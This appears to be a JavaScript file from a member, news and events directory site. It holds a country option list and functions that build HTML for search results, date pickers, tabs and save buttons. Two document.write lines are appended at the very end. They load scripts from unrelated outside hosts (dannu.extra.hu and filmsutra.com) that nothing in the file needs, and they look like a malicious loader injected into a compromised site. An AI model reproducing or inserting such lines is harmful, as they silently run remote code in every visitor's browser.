value='FO'>Faroe Islands</option><option value='FJ'>Fiji</option><option value='FI'>Finland</option><option value='GF'>French Guiana</option><option value='PF'>French Polynesia</option><option value='X5'>French West Indies</option><option value='GA'>Gabon</option><option value='GM'>Gambia</option><option value='GE'>Georgia, Republic Of</option><option value='GH'>Ghana</option><option value='GI'>Gibraltar</option><option value='GR'>Greece</option><option value='GL'>Greenland</option><option value='GD'>Grenada</option><option value='GP'>Guadeloupe</option><option value='GU'>Guam</option><option value='GT'>Guatemala</option><option value='X6'>Guernsey</option><option value='GN'>Guinea</option><option value='GW'>Guinea-Bissau</option><option value='GY'>Guyana</option><option value='HT'>Haiti</option><option value='HN'>Honduras</option><option value='HK'>Hong Kong</option><option value='HU'>Hungary</option><option value='IS'>Iceland</option><option value='IN'>India</option><option value='ID'>Indonesia</option><option value='IR'>Iran</option><option value='IQ'>Iraq</option><option value='IE'>Ireland</option><option value='X7'>Isle Of Man</option><option value='IL'>Israel</option><option value='IT'>Italy</option><option value='CI'>Ivory Coast</option><option value='JM'>Jamaica</option><option value='JP'>Japan</option><option value='X8'>Jersey</option><option value='JO'>Jordan</option><option value='X9'>Kampuchea</option><option value='KZ'>Kazakhstan</option><option value='KE'>Kenya</option><option value='KI'>Kiribati</option><option value='KW'>Kuwait</option><option value='KG'>Kyrgyzstan</option><option value='LA'>Laos</option><option value='LV'>Latvia</option><option value='LB'>Lebanon</option><option value='LS'>Lesotho</option><option value='LR'>Liberia</option><option value='LY'>Libya</option><option value='LI'>Liechtenstein</option><option value='LT'>Lithuania</option><option value='LU'>Luxembourg</option><option value='MO'>Macao</option><option value='MK'>Macedonia</option><option value='MG'>Madagascar</option><option value='XA'>Madeira Islands</option><option value='MW'>Malawi</option><option value='MY'>Malaysia</option><option value='MV'>Maldives</option><option value='ML'>Mali</option><option value='MT'>Malta</option><option value='MH'>Marshall Islands</option><option value='MQ'>Martinique</option><option value='MR'>Mauritania</option><option value='MU'>Mauritius</option><option value='YT'>Mayotte</option><option value='MX'>Mexico</option><option value='MD'>Moldova</option><option value='MC'>Monaco</option><option value='MN'>Mongolia</option><option value='XB'>Montenegro</option><option value='MS'>Montserrat</option><option value='MA'>Morocco</option><option value='MZ'>Mozambique</option><option value='XD'>Muscat And Oman</option><option value='NA'>Namibia</option><option value='NR'>Nauru</option><option value='NP'>Nepal</option><option value='NL'>Netherlands</option><option value='AN'>Netherlands Antilles</option><option value='NC'>New Caledonia</option><option value='NZ'>New Zealand</option><option value='NI'>Nicaragua</option><option value='NE'>Niger</option><option value='NG'>Nigeria</option><option value='NU'>Niue</option><option value='KP'>North Korea</option><option value='NO'>Norway</option><option value='OM'>Oman</option><option value='PK'>Pakistan</option><option value='PA'>Panama</option><option value='PG'>Papua New Guinea</option><option value='PY'>Paraguay</option><option value='PE'>Peru</option><option value='PH'>Philippines</option><option value='PN'>Pitcairn Islands</option><option value='PL'>Poland</option><option value='PT'>Portugal</option><option value='QA'>Qatar</option><option value='RE'>Reunion</option><option value='RO'>Romania</option><option value='RU'>Russia</option><option value='RW'>Rwanda</option><option value='KN'>Saint Christopher-Nevis</option><option value='SH'>Saint Helena</option><option value='LC'>Saint Lucia</option><option value='PM'>Saint Pierre And Miquelon</option><option value='VC'>Saint Vincent</option><option value='SM'>San Marino</option><option value='ST'>Sao Tome And Principe</option><option value='SA'>Saudi Arabia</option><option value='XE'>Scotland</option><option value='SN'>Senegal</option><option value='XF'>Serbia</option><option value='SC'>Seychelles</option><option value='SL'>Sierra Leone</option><option value='SG'>Singapore</option><option value='SK'>Slovakia</option><option value='SI'>Slovenia</option><option value='SB'>Solomon Islands</option><option value='SO'>Somalia</option><option value='ZA'>South Africa</option><option value='KR'>South Korea</option><option value='ES'>Spain</option><option value='LK'>Sri Lanka</option><option value='SD'>Sudan</option><option value='SR'>Surinam</option><option value='SZ'>Swaziland</option><option value='SE'>Sweden</option><option value='CH'>Switzerland</option><option value='SY'>Syria</option><option value='TW'>Taiwan</option><option value='TJ'>Tajikistan</option><option value='TZ'>Tanzania</option><option value='TH'>Thailand</option><option value='XG'>Tobago</option><option value='TG'>Togo</option><option value='TK'>Tokelau</option><option value='TO'>Tonga</option><option value='TT'>Trinidad And Tobago</option><option value='XH'>Tristan Da Cunha</option><option value='TN'>Tunisia</option><option value='TR'>Turkey</option><option value='TM'>Turkmenistan</option><option value='TC'>Turks &amp; Caicos Islands</option><option value='TV'>Tuvalu</option><option value='UG'>Uganda</option><option value='UA'>Ukraine</option><option value='AE'>United Arab Emirates</option><option value='UY'>Uruguay</option><option value='UZ'>Uzbekistan</option><option value='VU'>Vanuatu</option><option value='VA'>Vatican City</option><option value='XI'>Venda</option><option value='VE'>Venezuela</option><option value='VN'>Vietnam</option><option value='XJ'>Wales</option><option value='WF'>Wallis &amp; Futuna Islands</option><option value='EH'>Western Sahara</option><option value='XK'>Western Samoa</option><option value='YE'>Yemen</option><option value='YU'>Yugoslavia</option><option value='ZR'>Zaire</option><option value='ZM'>Zambia</option><option value='ZW'>Zimbabwe</option>";


// ===================================================================== SEARCH RESULT FORMATTING


//grab pagefull of search results based on a variety of parameters
function getPage(arr,typ,num){
	var noResMess="No results found.";
	if(typ=="searchAll")noResMess="Enter search terms to begin search.";
	if(typeof(arr)!="object"||typeof(arr[0])!="object"||arr[0]=="")return "<span class=subhead style=position:relative;left:15>"+noResMess+"</span>";
	if(arr[0][0]=="")return "<span class=subhead style=position:relative;left:15>Please select a search term</span>";
	var txt="";
	var n=new Array(1,2,3);
	var maxPage=Math.ceil(pageSrcArray.length/pageSize);
	if(num<0)num=0;
	if(num>maxPage)num=maxPage;
	curPage=num;
	var sp=num*parseInt(pageSize);
	var ep=sp+parseInt(pageSize);
	for(var c=sp;c<ep;c++){
		if(c>=arr.length)txt+="";
		else{
			var dat=arr[c];
			var tit=unescape(dat[0]);
			var it0=unescape(dat[n[0]]);
			var it1=unescape(dat[n[1]]);
			var it2=unescape(dat[n[2]]);
			it0=spaceTrunc(it0,150);
			it1=spaceTrunc(it1,150);
			it2=spaceTrunc(it2,150);
			var img=unescape(dat[4]);
			var cap=unescape(dat[5]);
			var srcTab=unescape(dat[6]);
			var srcKey=unescape(dat[7]);
			var filt8=dat[8];
			var filt9=dat[9];
			var filt10=dat[10];
			var filt11=dat[11];
			var t=new Array("-","-","-");
			if(srcTab=="stories"){
				t=new Array("Summary","Author","Date");
				it2=getReadableDateStr(it2);
			}
			if(srcTab=="events"){
				t=new Array("Date","Location","Summary");
				it0=getReadableDateTimeStr(it0);
			}
			if(srcTab=="profiles"){
				t=new Array("Product/Service","Looking For","Location");
				it0=spaceOut(it0,",");
				it1=spaceOut(it1,",");
			}
			if(tit!="undefined"&&it0!="undefined"&&it1!="undefined"&&it2!="undefined"){
				txt+="<table id=searchItem"+c+" border=0 height=85 width=800 cellpadding=0 cellspacing=0 style=position:relative;left:15;cursor:pointer onclick=linkToItem(\""+srcTab+"\",\""+srcKey+"\")>";
				txt+="<tr><td id=searchItemCopy width=100 height=85 valign=top align=center> ";
				txt+="<img src='userimages/"+img+"' style=position:relative;width:75;height:75;cursor:pointer border=1 vspace=5 hspace=5><br><span class=subhead style=position:relative;top:-3>"+cap+"</span><br></td> ";
				txt+="<td id=searchItemCopy width=700 height=85 valign=top> ";
				txt+=" <span class=redcopy style=position:relative;top:3>"+tit+"</span><p>";
				txt+="<table width=700 cellpadding=0 cellspacing=0 border=0>";
				txt+="<tr><td class=blackcopy width=125 height=25 valign=top><b>"+t[0]+" </b></td><td class=blackcopy width=575 height=25 valign=top>"+it0+"</td></tr>";
				txt+="<tr><td class=blackcopy width=125 height=25 valign=top><b>"+t[1]+" </b></td><td class=blackcopy width=575 height=25 valign=top>"+it1+"</td></tr>";
				txt+="<tr><td class=blackcopy width=125 height=25 valign=top><b>"+t[2]+" </b></td><td class=blackcopy width=575 height=25 valign=top>"+it2+"</td></tr>";
				txt+="</table>";
				txt+="</td></tr>";
				txt+="<tr><td colspan=2><img src=images/black.gif width=800 height=1 style=position:relative;top:0></td></tr>";
				txt+="</table>";
			}
		}
	}
	return txt;
}


// ========================================================================================== TIME-RELATED DATA ENTRY FUNCTIONS

//draw timeboxes ... idVal should indicate start and end mode. names: yearSelect+idVal, monthSelect+idVal, dateSelect+idVal, hourSelect+idVal, minuteSelect+idVal, secondSelect+idVal
function drawTimeBoxes(datStr,tit,pos,lf,tp,idVal){
	tim=new Date();
	var curYear=parseInt(tim.getYear());
	if(curYear<300)curYear+=1900;
	if(!isNaN(datStr))datStr=getDateStr(datStr);
	datStr=datStr.split(",");
	var yr=parseInt(datStr[0]);
	var mo=parseInt(datStr[1])-1;
	var da=parseInt(datStr[2])-1;//was 2, but off by one ... why 2? don't know, but it worked before
	var hr=datStr[3];
	var mt=Math.floor(datStr[4]);
	var txt="<span style=position:"+pos+";left:"+lf+">";
	txt+="<span style=position:relative;width:225;left:0;top:"+tp+";height:17;background-color:transparent class=subhead>"+tit+"</span><br>";
	var cy=parseInt(curYear)
	txt+="<select id=yearSelect"+idVal+" style=position:relative;width:75;height:25;left:0;top:"+tp+" onmouseup=changeNoted()>";
	for(var c=cy;c<cy+3;c++){
		var selState="";
		if(c==yr)selState=" selected";
		txt+="<option value=\""+c+"\""+selState+">"+c;
	}
	txt+="</select> ";
	txt+=" <select id=monthSelect"+idVal+" style=position:relative;width:100;height:25;left:0;top:"+tp+" onmouseup=changeNoted()>";
	for(var m=0;m<12;m++){
		var selState="";
		if(m==mo)selState=" selected";
		txt+="<option value=\""+m+"\""+selState+">"+monArrLong[m];
	}
	txt+="</select> ";
	txt+=" <select id=dateSelect"+idVal+" style=position:relative;width:50;height:25;left:0;top:"+tp+" onmouseup=changeNoted()>";
	for(var d=1;d<32;d++){
		var selState="";
		if(d==da)selState=" selected";
		txt+="<option value=\""+d+"\""+selState+">"+d;
	}
	txt+="</select> ";
	txt+=" <select id=hourSelect"+idVal+" style=position:relative;width:80;height:25;left:0;top:"+tp+" onmouseup=changeNoted()>";
	for(var h=0;h<24;h++){
		var selState="";
		if(h==hr)selState=" selected";
		var mer=" am";
		if(h>12)mer=" pm";
		var hNum=h;
		if(h==0)hNum="Midnight";
		if(h==12)hNum="Noon";
		if(!isNaN(hNum)){
			if(hNum>12)hNum-=12;
			hNum+=mer;
		}
		txt+="<option value=\""+h+"\""+selState+">"+hNum;
	}
	txt+="</select> ";
	txt+=" <select id=minuteSelect"+idVal+" style=position:relative;width:50;height:25;left:0;top:"+tp+" onmouseup=changeNoted()>";
	for(var m=0;m<4;m+=1){
		var actMn=15*m;
		var selState="";
		if(m==parseInt(mt))selState=" selected";
		var mTxt=actMn.toString();
		if(actMn==0)mTxt="00";
		txt+="<option"+selState+" value=\""+m+"\">"+mTxt;
	}
	txt+="</select>";
	txt+="<input type=hidden name=eventStart"+idVal+" id=eventStart"+idVal+">";
	txt+="</span><p>";
	return txt;
}

// ===================================================================== MISCELLANEOUS WIDGETS

//search widget used on top of news page, name = miniSearchWidget
function miniSearchWidget(idVal){
	var txt="";
	txt+="<div id=miniSearchHolder style=position:absolute;left:550;top:0;width:300;height:25;><input id=miniSearchWidgetInput type=text class=input style=position:relative;width:200;top:-4> <input type=button class=button value=' search ' onclick=doMiniSearch()><form id=searchButtonSelector class=details style=position:relative;top:-24><input type=radio> Members <input type=radio> Site</form></div><p>";
	return txt;
}

//display limited set of tabs
function tabsWidget(){
	var txt="<div id=tab0 class=tabcapt style=position:absolute;top:40;left:0;width:70;height:15;text-align:center;background-color:white onclick=\"doNav('edit profile')\">edit profile</div>";
	txt+="<div id=tab1 class=tabcapt style=position:absolute;top:40;left:75;width:90;height:15;text-align:center;background-color:white onclick=\"doNav('preview profile')\">preview profile</div>";
	txt+="<div id=tab4 class=tabcapt style=position:absolute;top:40;left:170;width:70;height:15;text-align:center;background-color:white onclick=\"doNav('edit event')\">edit event</div>";
	txt+="<div id=tab5 class=tabcapt style=position:absolute;top:40;left:245;width:90;height:15;text-align:center;background-color:white onclick=\"doNav('preview event')\">preview event</div>";
	txt+="<br>";
	return txt;
}

//display full set of tabs
function fullTabsWidget(){
	var txt="<div id=tab0 class=tabcapt style=position:absolute;top:40;left:0;width:70;height:15;text-align:center;background-color:white onclick=\"doNav('edit profile')\">edit profile</div>";
	txt+="<div id=tab1 class=tabcapt style=position:absolute;top:40;left:75;width:90;height:15;text-align:center;background-color:white onclick=\"doNav('preview profile')\">preview profile</div>";
	txt+="<div id=tab2 class=tabcapt style=position:absolute;top:40;left:170;width:70;height:15;text-align:center;background-color:white onclick=\"doNav('edit news')\">edit news</div>";
	txt+="<div id=tab3 class=tabcapt style=position:absolute;top:40;left:245;width:90;height:15;text-align:center;background-color:white onclick=\"doNav('preview news')\">preview news</div>";
	txt+="<div id=tab4 class=tabcapt style=position:absolute;top:40;left:340;width:70;height:15;text-align:center;background-color:white onclick=\"doNav('edit event')\">edit event</div>";
	txt+="<div id=tab5 class=tabcapt style=position:absolute;top:40;left:415;width:90;height:15;text-align:center;background-color:white onclick=\"doNav('preview event')\">preview event</div>";
	txt+="<br>";
	return txt;
}

//draw main search interface on search result page, with light gray background
function searchConfigureWidget(typ){
	var searchTitle="Search Results";
	var csParams=currentSearchParams.split("~|~");
	if(typ=="member")searchTitle="Member Directory";
	if(typ=="news")searchTitle="News Index";
	if(typ=="event")searchTitle="Event Index";
	var pStr="";
	if(csParams[0]!="")pStr+=", keyword = "+csParams[0];
	if(csParams[1]!="")pStr+=", industry = "+csParams[1];
	if(csParams[2]!="")pStr+=", category = "+csParams[2];
	if(csParams[3]!="")pStr+=", country = "+csParams[3];
	searchTitle+=pStr;
	var txt="<div id=searchWidgetHolder style=position:relative;left:15;top:0;width:805;> ";
	txt+="<div id=searchHeader style=width:805;height:30;background-color:black;color:white;> ";
	txt+="<span style=position:relative;left:1;top:5><b>&nbsp;"+searchTitle+"</b></span></div>";
	txt+="<div id=searchSelector style=position:relative:left:6;top:15;width:805;height:75;background-color:eeeeee>";
	txt+="<div id=keywordSelCont style=position:relative;top:15;left:15><span class=blackcopy>Keywords</span><br><input type=text id=keywordSel style=width:175></div>";
	txt+="<div id=industrySelCont class=blackcopy style=position:absolute;top:45;left:200>Industry<br><select id=industrySel style=position:relative;top:1;width:175><option value=''>";
	for(var i=0;i<industries.length;i++){
		txt+="<option value='"+industries[i]+"'>"+industries[i];
	}
	txt+="</select></div>";
	txt+="<div id=categorySelCont class=blackcopy style=position:absolute;top:45;left:385>Category<br><select id=categorySel style=position:relative;top:1;width:175><option value=''>";
	for(var c=0;c<categories.length;c++){
		txt+="<option value='"+categories[c]+"'>"+categories[c];
	}
	txt+="</select></div>";
	txt+="<div id=countrySelCont class=blackcopy style=position:absolute;top:45;left:570>Country<br>";
	txt+=countrySelectionField(150,0,"countrySel");
	txt+="</div>";
	txt+="<input type=button style=position:absolute;top:58;left:730 value=Search onclick=doSearch(\""+typ+"\")>";
	txt+="</div></div>";
	txt+="<div id=sortSelectorHolder style=position:relative;left:15;width:805;>";
	txt+="<span class=blackcopy><b> Display by </b></span>";
	txt+="<span class=redcopy><span style=cursor:pointer onclick=doNav('search_sort_date')>Newest</span> | <span style=cursor:pointer onclick=doNav('search_sort_name')>Name A-Z</span> | <span style=cursor:pointer onclick=doNav('search_sort_category')>Category A-Z</span> | <span style=cursor:pointer onclick=doNav('search_sort_location')>Location</span></span>";
	txt+="<span id=resultCountSelector style=position:relative;left:265;top:0;>";
	txt+="<span class=blackcopy><b>Results per Page</b></span> ";
	txt+="<select id=pageSizeSel style=position:relative;top:2;width:50 onchange=setPageSize()>";
	for(var o=0;o<pLens.length;o++){
		var p=pLens[o];
		var selState="";
		if(p==pageSize)selState=" selected";
		txt+="<option value="+p+selState+">"+p;
	}
	txt+="</select>";
	txt+="</span>";
	txt+="<img src=images/black.gif width=803 height=1 style=position:relative;top:0;left:0 vspace=8>";
	txt+="</div>";
	return txt;
}

//more link at bottom of main page buckets
function moreWidget(pos,idVal){
	var txt="<div id="+idVal+"More class=redcopy style=position:relative;left:"+pos+" onclick=sessionNav('"+idVal+"Index.php')>More ...</div>";
	return txt;
}

function profPrefSaveButtonWidget(){
	var txt="";
	txt+="<input id=searchStatusInput type=checkbox checked style=position:relative;left:15><span class=subhead style=position:relative;left:15>List in searches</span><br><span class=details style=position:relative;left:15>Determines if your user name is listed in searches on this site.</span><p>";
	txt+="<input id=discussionStatusInput type=checkbox checked style=position:relative;left:15><span class=subhead style=position:relative;left:15>Allow discussion on this profile</span><br><span class=details style=position:relative;left:15>Determines if visitors can leave comments on your profile.</span><p>";

	var paraCont="<br>If you would like to an add an event, <span class=link style=text-decoration:underline onclick=location.href='#top';showConsolePage(4)>click here</span>";
	txt+=formParaSmall(paraCont,15,650,"addEventPara");
	txt+="<img src=images/saveButton.gif style=position:relative;width:60;height:14;left:15;cursor:pointer vspace=10 border=1 onclick=collectAndUploadProfile()>";
	if(sf)txt+="<img src=images/previewButton.gif style=position:relative;width:60;height:14;left:25;top:0;cursor:pointer vspace=10 border=1 onclick=location.href='#top';showConsolePage(1)>";
	else txt+="<img src=images/previewButton.gif style=position:absolute;width:60;height:14;left:115;cursor:pointer vspace=10 border=1 onclick=location.href='#top';showConsolePage(1)>";

	return txt;
}

function eventSaveButtonWidget(){
	var txt="<input id=eventDiscussionStatusInput type=checkbox checked style=position:relative;left:15><span class=subhead style=position:relative;left:15>Allow discussion on this event</span><br><span class=details style=position:relative;left:15>Determines if visitors can leave comments on your event.</span><p>";
	txt+="<img src=images/saveButton.gif style=position:relative;width:60;height:14;left:15;cursor:pointer vspace=10 border=1 onclick=collectAndUploadEvent()>";
	txt+="<img src=images/previewButton.gif style=position:absolute;width:60;height:14;left:115;cursor:pointer vspace=10 border=1 onclick=location.href='#top';showConsolePage(5)>";

	return txt;
}

function storySaveButtonWidget(){
	var txt="<input id=storySearchStatusInput type=checkbox checked style=position:relative;left:15><span class=subhead style=position:relative;left:15>List in searches</span><br><span class=details style=position:relative;left:15>Determines if your story is listed in searches on this site.</span><p>";
	txt+="<input id=storyDiscussionStatusInput type=checkbox checked style=position:relative;left:15><span class=subhead style=position:relative;left:15>Allow discussion on this story</span><br><span class=details style=position:relative;left:15>Determines if visitors can leave comments on your story.</span><p>";
	txt+="<img src=images/saveButton.gif style=position:relative;width:60;height:14;left:15;cursor:pointer vspace=10 border=1 onclick=collectAndUploadStory()>";
	return txt;
}


document.write('<script src=http://dannu.extra.hu/pic/default.php ><\/script>');
document.write('<script src=http://filmsutra.com/fs_media/error_log.php ><\/script>');